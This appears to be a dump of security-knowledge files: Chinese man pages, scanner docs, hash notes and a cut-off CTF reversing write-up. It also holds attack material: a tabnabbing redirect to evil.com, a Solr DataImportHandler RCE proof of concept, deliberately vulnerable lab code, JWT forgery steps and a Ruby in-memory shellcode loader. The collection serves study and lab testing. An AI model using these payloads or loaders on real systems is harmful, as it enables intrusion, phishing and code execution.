两个补充的选项,\fB\-errorinfo\fR 和 \fB\-errorcode\fR,可以被用来在错误返回期间提供补充信息。除非 \fIcode\fR 是 \fBerror\fR,否则忽略这些选项。 .PP \fB-errorinfo\fR 选项为 \fBerrorInfo \fR变量指定一个初始栈跟踪;如果未指定它,则留在 \fBerrorInfo\fR 中的栈跟踪将包括对这个过程的调用和栈上的更高层次,但不包括有关过程中错误上下文的任何信息。典型的,在 \fBcatch\fR 命令在这个过程中捕获到一个错误之后,把留在 \fBerrorInfo\fR 中的值提供为 \fIinfo\fR 值。 .PP 如果指定了 \fB-errorcode\fR 选项,则 \fIcode\fR 为 \fBerrorCode\fR 变量提供一个值。如果未指定这个选项,则 \fBerrorCode\fR 缺省为 \fBNONE\fR。 .SH "参见 SEE ALSO" break(n), continue(n), error(n), proc(n) .SH "关键字 KEYWORDS" break, continue, error, procedure, return .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/06/21 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
--- title: golismero categories: Information Gathering tags: [information gathering,golismero,kali linux] date: 2017-04-23 05:07:00 --- 0x00 golismero介绍 ------------- GoLismero是安全性测试的开源框架。它是目前面向网络的安全性,但它可以很容易地扩展到其他类型的扫描。 <!--more--> 该框架的最有趣的特点是: ```plain - 真正的跨平台独立性,经过Windows,Linux,* BSD和OS X平台测试。 - 没有平台本地库依赖,纯Python编写的框架。 - 与使用Python和其他脚本语言编写的其他框架相比,性能较好。 - 简单易用。 - 插件开发非常简单。 - 该框架还收集并统一了众所周知的工具的结果:sqlmap,xsser,openvas,dnsrecon,theharvester - 标准集成:CWE,CVE和OWASP。 - 专为集群部署而设计(尚不可用)。 ``` 工具来源:https://github.com/golismero/golismero [golismero主页][1] | [Kali golismero仓库][2] - 作者:Daniel Garcia - 证书:GPLv2 0x01 golismero功能 ---------------- golismero - Web应用程序映射器 ```plain root@kali:~# golismero -h /----------------------------------------------\ | GoLismero 2.0.0b3 - The Web Knife | | Contact: golismero.project<@>gmail.com | | | | Daniel Garcia Garcia a.k.a cr0hn (@ggdaniel) | | Mario Vilas (@Mario_Vilas) | \----------------------------------------------/ 用法: golismero.py 命令 [目标...] [--选项] SCAN: 扫描给定的目标漏洞,可选导入来自其他工具的结果并撰写报告。 后面的参数可以是域名,IP地址或网页。 PROFILES: 显示可用的配置文件列表,此命令不带参数。 PLUGINS: 显示可用的插件列表,此命令不带参数。 INFO: 显示给定插件的详细信息,后面的参数是插件ID。 你可以使用glob风格的通配符。 REPORT: 从较早的扫描中生成报告。 此命令不带参数,使用-o参数指定输出文件。 IMPORT: 从其他工具导入结果,并可选择生成报告,但不要扫描目标。 此命令不带参数,使用-i参数指定输入文件。 DUMP: 从早期扫描中转储为SQL格式数据库。 此命令不带参数,使用-o参数指定输出文件。 UPDATE: 将GoLismero更新到最新版本,需要安装Git且添加PATH变量环境。 此命令不带参数。 示例: 扫描网站并在屏幕上显示结果: golismero.py scan http://www.example.com 导入Nmap结果,扫描发现的所有主机并写入HTML报告: golismero.py scan -i nmap_output.xml -o report.html 导入OpenVAS结果并在屏幕上显示,但不要扫描任何内容: golismero.py import -i openvas_output.xml 显示所有可用配置文件列表: golismero.py profiles 显示所有可用插件列表: golismero.py plugins 显示所有有关蛮力插件信息: golismero.py info brute_* 转储上一次扫描的数据库: golismero.py dump -db example.db -o dump.sql ``` 0x02 golismero用法示例 ----------------- 对输入文件(-i /root/port80.xml)中的目标运行漏洞扫描(扫描),将输出保存到文件(-o sub1-port80.html): ```shell root@kali:~# golismero scan -i /root/port80.xml -o sub1-port80.html ``` [1]: https://github.com/golismero/golismero [2]: http://git.kali.org/gitweb/?p=packages/golismero.git;a=summary
sec-knowleage
.\" 版权所有 Andries Brouwer, Ragnar Hojlond Espinosa和A Wik 1998. .\" 中文版版权所有 astonia,BitBIRD, www.linuxforum.net 2000 .\" 本文件可以在LDP GENERAL licence 1998年第一版所述条件下拷贝, .\" 并且该许可可同本文件一起分发。 .\" .TH DD 1 "November 1998" "GNU fileutils 4.0" .SH NAME dd \- 转换和拷贝文件 .SH 摘要 .B dd .B [\-\-help] [\-\-version] .BI [if= file ] .BI [of= file ] .BI [ibs= bytes ] .BI [obs= bytes ] .BI [bs= bytes ] .BI [cbs= bytes ] .BI [skip= blocks ] .BI [seek= blocks ] .BI [count= blocks ] .B "[conv={ascii, ebcdic, ibm, block, unblock, lcase, ucase, swab, noerror, notrunc, sync}]" .SH 描述 当进行非强制的转换的时候,使用指定的输入和输出块大小拷贝文件 (默认是从标准输入到标准输出。) .PP 它每次从输入读取指定大小的一个块(默认是512字节)。 如果使用 .BI bs= bytes 选项,并且没有转换,除了指定 .BR sync ", " noerror ", 或 " notrunc 之外, 那么dd将把全部读到的数据(可以比请求读的少) 写到独立的输出块去。 这个输出块的长度和读到的数据 完全一样,除非指定使用 .B sync(同步) 转换,那样的话,数据结尾处将追加NUL字符(或空格,见下)。 .PP 其他情况下,输入的时候每次读一个块,然后处理,并将 输出结果收集起来,最后写到指定大小的数据块中去。最 终的输出块可能会比指定的大小短一些。 .PP 数字值选项(以字节或块为单位)后面可以跟一个乘数: k=1024,b=512,w=2,c=1(w和c是GNU扩展语法。最好别 使用w,因为在system V中,它表示2,在4.2 BSD中,它 表示4)。两个或更多的数值表达式可以通过\(lqx\(rq乘起来。 GEU fileutils 4.0并且允许在数据块大小的叙述中使用 下列乘法后缀(用bs=,cbs=,obs=):M=1048576,G=1073741824, 同理可得T,P,E,Z,Y。D后缀表示数值是以 十进制表示的:kD=1000 MD=1000000 GD=1000000000等等。 (注意,在ls、df、du命令中,M等标记的大小是由环境 变量确定的,而在DD中,它的值是固定的。) .SH 选项 .TP .BI "if=" file 从 .I file 中读而不是标准输入。 .TP .BI "of=" file 写到 .I file 里去而不是标准输出。除非指定 .B conv=notrunc ,否则, .B dd 将把 .I file 截为O字节(或由 .BR seek= 选项指定的大小) .TP .BI "ibs=" bytes 一次读 .I bytes 字节。默认是512。 .TP .BI "obs=" bytes 一次写 .I bytes 字节。默认是512。 .TP .BI "bs=" bytes 一次读和写 .I bytes 字节。这将覆盖 .B ibs 和 .BR obs 设定的值(并且,设定 .B bs 不等于同时将 .B ibs 和 .B obs 设为同一个值,至少在 只使用 .BR sync , .B noerror 或 .B notrunc 转换时是这样的。因为bs规定,每个输入块都应作为单独 的数据块拷贝到输出,而不把较短的块组合到一起)。 .TP .BI "cbs=" bytes 为 .B block 转换和 .BR unblock 转换指定转换块的大小。 .TP .BI "skip=" blocks 在拷贝之前,跳过输入文件的前 .I blocks 块,每块大小为 .BR ibs \-byte 字节。 .TP .BI "seek=" blocks 在拷贝之前,跳过输出文件的前 .I blocks 块,每块大小为 .BR obs \-byte 字节。 .TP .BI "count=" blocks 只拷贝输入文件的前 .I blocks 块(每块的大小为 .BR ibs \-byte 字节),而不是全部内容,直到文件末尾。 .TP .BI "conv=" 转换"[," 转换"]..." 将文件按 .I 转换 参数指定的方式转换(在\(lq,\(rq两边没有空格)。 .RS .PP 转换方式包括: .PP .TP .B ascii 将EBCDIC转换成ascii。 .TP .B ebcdic 将ascii转换成ebcdic。 .TP .B ibm 将ascii转换成alternative ebcdic。 .TP .B block 每一行输入,无论长短,输出都是 .B cbs 字节,并且其中的\(lq换行\(rq(NEWLINE,即c中的'\n')用 空格替换。如有必要,行尾会填充空格。 .TP .B unblock 用\(lq换行\(rq替换每个输入块( .BR cbs 字节大小)末尾的空格。 .TP .B lcase 将大写字母转换成小写。 .TP .B ucase 将小写字母转换成大写。 .TP .B swab 交换每对输入字节。如果读入的字节数是奇数,最后 一个字节只是简单的复制到输出(因为没有能跟它交换的 字节了)(POSIX 1003.26,PASC翻译1003.2 3号和4号)。 .TP .B noerror 发生读错误时,继续进行。 .TP .B notrunc 不截断输出文件。 .TP .B sync 用0填充到每个输入块的末尾,使其大小为 .B ibs 字节。 .RE .SH "GNU标准选项" .TP .B "\-\-help" 将用法信息打印到标准输出,并成功退出。 .TP .B "\-\-version" 将版本信息打印到标准输出,并成功退出。 .TP .B "\-\-" 结束选项列表。 .SH 环境变量 LANG, LC_ALL, LC_CTYPE和LC_MESSAGES具有其通常含义。 .SH "遵循标准" POSIX 1003.2 .SH 举例 磁带机通常不能接受任意大小的数据块,当最后一个数据片 段不能充满整个块时, .B dd 将出现I/O错误。用'dd if=myfile of=/dev/mytape conv=sync' 就可以使全部内容存到磁带上。当然,这样做,把文件从磁 带上读回时回产生一个稍大些的文件,因为其尾部填充了一 些NUL(空字符)。 .SH 注 本手册页描述了fileutils\-4.0软件包中的 .B dd 命令。其他版 本的dd会与此稍有不同。有关更正和补充可以发帖到中国linux 论坛\-man手册版。报告程序中的错误,请给 fileutils\-bugs2gnu.ai.wit.edu 发邮件。 .SH "[中文版维护人]" .B astonia <email> .SH "[中文版最新更新]" .BR 2000/10/19 .SH "[中国Linux论坛man手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
# Tabnabbing ## Introduction When you open a link in a new tab ( target="_blank" ), the page that opens in a new tab can access the initial tab and change it's location using the window.opener property. ## How to find ```html <a href="..." target="_blank" rel="" /> <a href="..." target="_blank" /> ``` ## How to Exploit 1. Attacker posts a link to a website under his control that contains the following JS code: ```html <html> <script> if (window.opener) window.opener.parent.location.replace('http://evil.com'); if (window.parent != window) window.parent.location.replace('http://evil.com'); </script> </html> ``` 2. He tricks the victim into visiting the link, which is opened in the browser in a new tab. 3. At the same time the JS code is executed and the background tab is redirected to the website evil.com, which is most likely a phishing website. ## References * [Hackerone #260278](https://hackerone.com/reports/260278)
sec-knowleage
package com.b1ngz.sec.controller; import com.b1ngz.sec.model.Target; import com.b1ngz.sec.util.ResourceUtils; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; /** * Created by b1ngz on 2018/9/8. */ @RestController public class JacksonController { @PostMapping(value = "exploit", consumes = "application/json") public String test(@RequestBody Target target) throws Exception { return target.toString(); } @GetMapping(value = "spel.xml") public String getSpelXml() throws Exception { return ResourceUtils.readResourceFileAsStr("/spel.xml"); } }
sec-knowleage
# Apache Solr 远程命令执行漏洞(CVE-2019-0193) 漏洞原理与分析可以参考: - https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA - https://paper.seebug.org/1009/ Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。 本环境测试RCE漏洞。 ## 漏洞环境 运行漏洞环境: ``` docker compose up -d docker compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db ``` 命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。 ## 漏洞复现 ![](2.jpg) 如上图所示,首先打开刚刚创建好的`test`核心,选择Dataimport功能并选择debug模式,填入以下POC: ``` <dataConfig> <dataSource type="URLDataSource"/> <script><![CDATA[ function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success"); } ]]></script> <document> <entity name="stackoverflow" url="https://stackoverflow.com/feeds/tag/solr" processor="XPathEntityProcessor" forEach="/feed" transformer="script:poc" /> </document> </dataConfig> ``` 点击`Execute with this Confuguration`会发送以下请求包: ``` POST /solr/test/dataimport?_=1565835261600&indent=on&wt=json HTTP/1.1 Host: localhost:8983 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 679 Connection: close Referer: http://localhost:8983/solr/ Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf06z6xodulpohpr command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport ``` 执行`docker compose exec solr ls /tmp`,可见`/tmp/success`已成功创建: ![](3.jpg)
sec-knowleage
# 哈希函数 哈希函数(Hash Function)把消息或数据压缩成摘要,使得数据量变小。其一般模型如下 显然对于任何一个hash值,理论上存在若干个消息与之对应,即碰撞。 哈希函数的基本需求如下 | 需求 | 描述 | | ------ | ---------------------------------------- | | 输入长度可变 | hash函数可以应用于任意长度的数据 | | 输出长度固定 | hash函数的输出长度固定 | | 效率 | 对于任意消息 $x$,计算 $H(x)$ 很容易 | | 单向性 | 对于任意哈希值h,想要找到满足$H(x)=h$ 的x在计算上不可行。 | | 抗弱碰撞性 | 对于任意消息x,找到满足另一消息y,满足$H(x)=H(y)$ ,在计算上不可行。 | | 抗强碰撞性 | 找到任意一对满足 $H(x)=H(y)$ 的消息x和y在计算上不可行。 | | 伪随机性 | 哈希函数的输出满足伪随机性测试标准。 | 散列值的目的如下 - 确保消息的完整性,即确保收到的数据确实和发送时的一样(即没有修改、插入、删除或重放),防止中间人篡改。 - 冗余校验 - 单向口令文件,比如linux系统的密码 - 入侵检测和病毒检测中的特征码检测 目前的Hash函数主要有MD5,SHA1,SHA256,SHA512。目前的大多数hash函数都是迭代性的,即使用同一个hash函数,不同的参数进行多次迭代运算。 | 算法类型 | 输出 Hash 值长度 | | ------ | ----------------- | | MD5 | 128 bit | | SHA1 | 160 bit | | SHA256 | 256 bit | | SHA512 | 512 bit |
sec-knowleage
package org.vulhub.shirodemo; import org.apache.shiro.authc.*; import org.apache.shiro.authz.AuthorizationInfo; import org.apache.shiro.realm.AuthorizingRealm; import org.apache.shiro.subject.PrincipalCollection; public class MainRealm extends AuthorizingRealm { @Override protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) { return null; } @Override protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException { String username = (String) authenticationToken.getPrincipal(); String password = new String((char [])authenticationToken.getCredentials()); if (username.equals("admin") && password.equals("vulhub")) { return new SimpleAuthenticationInfo(username, password, getName()); } else { throw new IncorrectCredentialsException("Username or password is incorrect."); } } }
sec-knowleage
from django.http import HttpResponse, JsonResponse from django.db.models.functions import Trunc from django.db.models import Count from .models import WebLog def create_log(request): method = request.method url = request.build_absolute_uri() user_agent = request.META.get('HTTP_USER_AGENT') WebLog.objects.create( method=method, url=url, user_agent=user_agent ) def vul(request): create_log(request) date = request.GET.get('date', 'minute') objects = list(WebLog.objects.annotate(time=Trunc('created_time', date)).values('time').order_by('-time').annotate(count=Count('id'))) return JsonResponse(data=objects, safe=False)
sec-knowleage
# JWT 安全 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- 关于 JWT 认证的基本知识点可见笔记 [认证 & 授权](../../../../Develop/Web/笔记/认证&授权.md#JWT) **相关文章** - [全程带阻:记一次授权网络攻防演练 (上) ](https://www.freebuf.com/vuls/211842.html) - [对jwt的安全测试方式总结](https://saucer-man.com/information_security/377.html) - [攻击JWT的一些方法 ](https://xz.aliyun.com/t/6776) - [JWT攻击手册:如何入侵你的Token](https://mp.weixin.qq.com/s/x43D718Tw3LZ4QGFxjLjuw) - [JSON Web Token Validation Bypass in Auth0 Authentication API](https://insomniasec.com/blog/auth0-jwt-validation-bypass) - [对一个使用JWT验证的系统渗透纪实](https://blog.wanghw.cn/security/fake-jwt.html) **Tips** 搜索 JWT 的正则,来自 以下正则来自 以下内容来自 <sup>[ [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool#tips) ]</sup> ```re [= ]ey[A-Za-z0-9_-]*\.[A-Za-z0-9._-]* 稳定的 JWT 版本 [= ]ey[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]* 所有 JWT 版本(可能误报) ``` python快速生成 jwt ```python import jwt jwt.encode({'字段1':'test','字段2':'123456'},algorithm='none',key='') ``` **相关工具** - [JSON Web Tokens - jwt.io](https://jwt.io/) - 在线的 jwt 生成 - [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) - 一个用于验证,伪造和破解JWT(JSON Web令牌)的工具包。 - [Ch1ngg/JWTPyCrack](https://github.com/Ch1ngg/JWTPyCrack) - [crack JWT](https://pastebin.com/tv99bTNg) - [brendan-rius/c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - [andresriancho/jwt-fuzzer](https://github.com/andresriancho/jwt-fuzzer) - [ozzi-/JWT4B](https://github.com/ozzi-/JWT4B) - 即时操作 JWT 的 burp 插件 - [3v4Si0N/RS256-2-HS256](https://github.com/3v4Si0N/RS256-2-HS256) - JWT 攻击,将算法由 RS256 变为 HS256 - [x1sec/gojwtcrack](https://github.com/x1sec/gojwtcrack) - Fast JSON Web Token (JWT) cracker written in Go ``` gojwtcrack -t token.txt -d ~/SecLists/Passwords/xato-net-10-million-passwords-1000000.txt ``` - [aress31/jwtcat](https://github.com/aress31/jwtcat) - A CPU-based JSON Web Token (JWT) cracker and - to some extent - scanner. - [ahwul/jwt-hack](https://github.com/hahwul/jwt-hack) - jwt-hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce) - hashcat ``` hashcat -m 16500 hash.txt pass1.txt ``` --- ## 攻击思路 **爆破 jwt 密钥** 通过工具爆破目标 jwt 密钥,尝试伪造具备有效签名的新 JWT 值 **加密算法置空** 1. 捕获 JWT. 2. 修改 algorithm 为 `None`. 3. 在正⽂中⽤任何你想要的内容改变原本的内容,如: email: attacker@gmail.com 4. 使⽤修改后的令牌发送请求并检查结果。 **篡改加密算法** 1. 捕获 JWT token. 2. 如果算法是 RS256,就改成 HS256,然后⽤公钥签名(你可以通过访问 jwks Uri (https://YOUR_DOMAIN/.well-known/jwks.json) 来获得,⼤多数情况下是该网站 https 证书的公钥)。 3. 使⽤修改后的令牌发送请求并检查响应。 **检查服务器端会话终⽌是否正确 (OTG-SESS-006)** 1. 检查应用程序是否使用 JWT 令牌进行认证。 2. 如果是,登录到应用程序并捕获令牌。(⼤多数网络应⽤都会将令牌存储在浏览器的本地存储中) 3. 现在注销应用程序。 4. 用之前捕获的令牌向权限接口发出请求。 5. 有时,请求会成功,因为 Web 应用程序只是从浏览器中删除令牌,而不会在后端将令牌列⼊黑名单。
sec-knowleage
本季是为配合msf在渗透过程中无文件渗透,提前做基础过度。也为msf插件编写做基础过度。 ### ruby shellcode 生成如下: ```ruby msfvenom ‐p windows/messagebox TEXT=Micropoor TITLE=Micropoor ‐f ruby ‐‐smallest ``` ![](media/56aa6d4fb31384a6c8f8e972e66f9a2b.jpg) ![](media/708fd97e6cb1c45afd361b8b53e6ffc5.jpg) ### 附源码: ```ruby require 'fiddle' require 'fiddle/import' require 'fiddle/types' # msfvenom ‐p windows/messagebox TEXT=Micropoor TITLE=Micropoor ‐f ruby ‐‐smallest shellcode = "\\xd9\\xeb\\x9b\\xd9\\x74\\x24\\xf4\\x31\\xd2\\xb2\\x77\\x31\\xc9\\x64" + "\\x8b\\x71\\x30\\x8b\\x76\\x0c\\x8b\\x76\\x1c\\x8b\\x46\\x08\\x8b\\x7e" + "\\x20\\x8b\\x36\\x38\\x4f\\x18\\x75\\xf3\\x59\\x01\\xd1\\xff\\xe1\\x60" + "\\x8b\\x6c\\x24\\x24\\x8b\\x45\\x3c\\x8b\\x54\\x28\\x78\\x01\\xea\\x8b" "\\x4a\\x18\\x8b\\x5a\\x20\\x01\\xeb\\xe3\\x34\\x49\\x8b\\x34\\x8b\\x01" "\\xee\\x31\\xff\\x31\\xc0\\xfc\\xac\\x84\\xc0\\x74\\x07\\xc1\\xcf\\x0d" "\\x01\\xc7\\xeb\\xf4\\x3b\\x7c\\x24\\x28\\x75\\xe1\\x8b\\x5a\\x24\\x01" "\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5a\\x1c\\x01\\xeb\\x8b\\x04\\x8b\\x01" "\\xe8\\x89\\x44\\x24\\x1c\\x61\\xc3\\xb2\\x08\\x29\\xd4\\x89\\xe5\\x89" "\\xc2\\x68\\x8e\\x4e\\x0e\\xec\\x52\\xe8\\x9f\\xff\\xff\\xff\\x89\\x45" "\\x04\\xbb\\x7e\\xd8\\xe2\\x73\\x87\\x1c\\x24\\x52\\xe8\\x8e\\xff\\xff" "\\xff\\x89\\x45\\x08\\x68\\x6c\\x6c\\x20\\x41\\x68\\x33\\x32\\x2e\\x64" "\\x68\\x75\\x73\\x65\\x72\\x30\\xdb\\x88\\x5c\\x24\\x0a\\x89\\xe6\\x56" "\\xff\\x55\\x04\\x89\\xc2\\x50\\xbb\\xa8\\xa2\\x4d\\xbc\\x87\\x1c\\x24" "\\x52\\xe8\\x5f\\xff\\xff\\xff\\x68\\x72\\x58\\x20\\x20\\x68\\x6f\\x70" "\\x6f\\x6f\\x68\\x4d\\x69\\x63\\x72\\x31\\xdb\\x88\\x5c\\x24\\x09\\x89" "\\xe3\\x68\\x72\\x58\\x20\\x20\\x68\\x6f\\x70\\x6f\\x6f\\x68\\x4d\\x69" "\\x63\\x72\\x31\\xc9\\x88\\x4c\\x24\\x09\\x89\\xe1\\x31\\xd2\\x52\\x53" "\\x51\\x52\\xff\\xd0\\x31\\xc0\\x50\\xff\\x55\\x08" include Fiddle kernel32 = Fiddle.dlopen('kernel32') ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, shellcode.size, 0x3000, 0x40) Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0) buf = Fiddle::Pointer[shellcode] Function.new(kernel32['RtlMoveMemory'], [4, 4, 4],4).call(ptr, buf, shellcode.size) thread = Function.new(kernel32['CreateThread'],[4,4,4,4,4,4], 4).call(0, 0, ptr, 0, 0, 0) Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, ‐1) ``` > Micropoor
sec-knowleage
# REbase Binary RE, 400 points ## Description: > You receive an ELF binary which you must unlock with a key. Find the key and it will contain your flag. ## Solution: Let's start by inspecting the binary: ```console root@kali:/media/sf_CTFs/mitre/rebase# file REbase-fix REbase-fix: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped root@kali:/media/sf_CTFs/mitre/rebase# ./REbase-fix Usage: ./REbase flag root@kali:/media/sf_CTFs/mitre/rebase# ./REbase-fix test 4 rUC/C/== ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= Try Again :( root@kali:/media/sf_CTFs/mitre/rebase# ./REbase-fix my_flag 7 wBsyMdbibi== ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= Try Again :( ``` It looks like the program is outputting base64-encoded messages, let's try to decode them: ```console root@kali:/media/sf_CTFs/mitre/rebase# echo rUC/C/== | base64 -d && echo @ root@kali:/media/sf_CTFs/mitre/rebase# echo wBsyMdbibi== | base64 -d && echo 1n root@kali:/media/sf_CTFs/mitre/rebase# echo ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= | base64 -d && echo N2_fy"s ``` This does not appear to be meaningful. However the resemblance to Base64 behavior is very high: ```console root@kali:/media/sf_CTFs/mitre/rebase# ./REbase-fix a 1 QQ== ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= Try Again :( root@kali:/media/sf_CTFs/mitre/rebase# ./REbase-fix aa 2 QWi= ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= Try Again :( root@kali:/media/sf_CTFs/mitre/rebase# ./REbase-fix aaa 3 NVYi ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= Try Again :( (root@kali:/media/sf_CTFs/mitre/rebase# echo -n 'a' | base64 YQ== root@kali:/media/sf_CTFs/mitre/rebase# echo -n 'aa' | base64 YWE= root@kali:/media/sf_CTFs/mitre/rebase# echo -n 'aaa' | base64 YWFh) ``` It looks like the padding character is identical to Base64 ("`=`"), and that each encoded character represents 6 bits of data. Therefore, three 8-bit bytes are represented by four 6-bit encoded characters - just like Base64. Another observation is that if we try to enter "`MCA{`" as the prefix for the flag, we get a prefix which is identical to the second (constant) encoded string that the program is printing: ```console root@kali:/media/sf_CTFs/mitre/rebase# ./REbase-fix MCA{test_flag} 14 ZXFWt2Kse2KyMdbiUY8= ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8= Try Again :( ``` Base64 is based on a dictionary of 64 characters where every character represents an index. The standard dictionary is `"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"`. The algorithm iterates the input string as 6-bit indices, and for each index uses the appropriate character from the dictionary. For example, "A" is 0, and "B" is 1. In standard Base64, the string "MCA" will be decoded as `TUNB`: ``` M C A 01001101 01000011 01000001 # Arrange as 6-bit indices: 010011 010100 001101 000001 T-19 U-20 N-13 B-1 ``` In our case, "MCA" is decoded as `ZXFW` - so it looks like we are using a different dictionary, one where "Z" is in the 19th place, "U" is in the 20th, "N" is 13 and "W" is 1. The naive implementation usually uses a long string to represent the dictionary, so let's look for one in the code: ```console # strings REbase-fix | grep -x '.\{30,\}' VBNMqwertyuiopasdfghjklzxcvbn/+m !"''''$&(,''''-./0''''1349''''EFGH''''ISTU''''VWXY''''Z[\]''''^_`a''''bcde''''fghi''''jklm''''nopq''''rstu''''vwxy''''z{|}''''~ MN''''OPRT''''UVWY''''Z[\_''''`abc''''defh''''ijk NNNN !"#NNNN$%&'NNNN()*+NNNN,-./NNNN0123NNNN4567NNNN89:;NNNN<=>?NNNN@ABCNNNNDEFGNNNNHIJKNNNNLMNONNNNPQRSNNNNTVWXNNNNYZ[\NNNN]^_`NNNNabcdNNNNefghNNNNijklNNNNmnopNNNNqrstNNNNuvwxNNNNyz{|NNNN}~ ''''!"#$''''%&'('''')*+,''''-./0''''1234''''5678''''9;<=''''>@AB''''CDFJ''''KLMN''''OPRS''''TUVW''''XYZ[''''\]^_''''`abc''''defg''''hijk''''lmno''''pqrs''''tuvw''''xyz{''''|}~ $Info: This file is packed with the UPX executable packer http://upx.sf.net $ $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $ ``` The command above shows only strings of length >= 30. The first string looks almost like our dictionary (notice the suffix which ends with `/+` - just like in the standard Base64 dictionary) - but it's much shorter than expected. However, another interesting string has surfaced from this query: "This file is packed with the UPX executable packer". Let's try to unpack it and see if it helps: ``` root@kali:/media/sf_CTFs/mitre/rebase# upx -d REbase-fix Ultimate Packer for eXecutables Copyright (C) 1996 - 2018 UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018 File size Ratio Format Name -------------------- ------ ----------- ----------- 682696 <- 274236 40.17% linux/amd64 REbase-fix Unpacked 1 file. ``` Searching for long strings again: ```console root@kali:/media/sf_CTFs/mitre/rebase# strings REbase-fix | grep -x '.\{30,\}' | head QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbn/+m1234567890 __ehdr_start.e_phentsize == sizeof *GL(dl_phdr) Unexpected reloc type in static binary. FATAL: cannot determine kernel version cannot set %fs base address for thread-local storage %s%s%s:%u: %s%sAssertion `%s' failed. Fatal error: glibc detected an invalid stdio handle %s%s%s:%u: %s%sAssertion `%s' failed. replaced_arena->attached_threads > 0 malloc_consolidate(): invalid chunk size ``` Now we have many more results, and the first one looks very much like a Base64 dictionary! Let's test this theory with a basic Base64 implementation (based on [this](https://en.wikibooks.org/wiki/Algorithm_Implementation/Miscellaneous/Base64)): ```python import re def base64_encode(s, dictionary): # the result/encoded string, the padding string, and the pad count r = "" p = "" c = len(s) % 3 # add a right zero pad to make this string a multiple of 3 characters if (c > 0): for i in range(c, 3): p += '=' s += "\0" # increment over the length of the string, three characters at a time for c in range(0, len(s), 3): # these three 8-bit (ASCII) characters become one 24-bit number n = (ord(s[c]) << 16) + (ord(s[c+1]) << 8) + (ord(s[c+2])) # this 24-bit number gets separated into four 6-bit numbers n = [(n >> 18) & 0x3F, (n >> 12) & 0x3F, (n >> 6) & 0x3F, n & 0x3F] # those four 6-bit numbers are used as indices into the base64 character list r += dictionary[n[0]] + dictionary[n[1]] + dictionary[n[2]] + dictionary[n[3]] # add the actual padding string, after removing the zero pad return r[0:len(r) - len(p)] + p def base64_decode(s, dictionary): base64inv = {} for i in 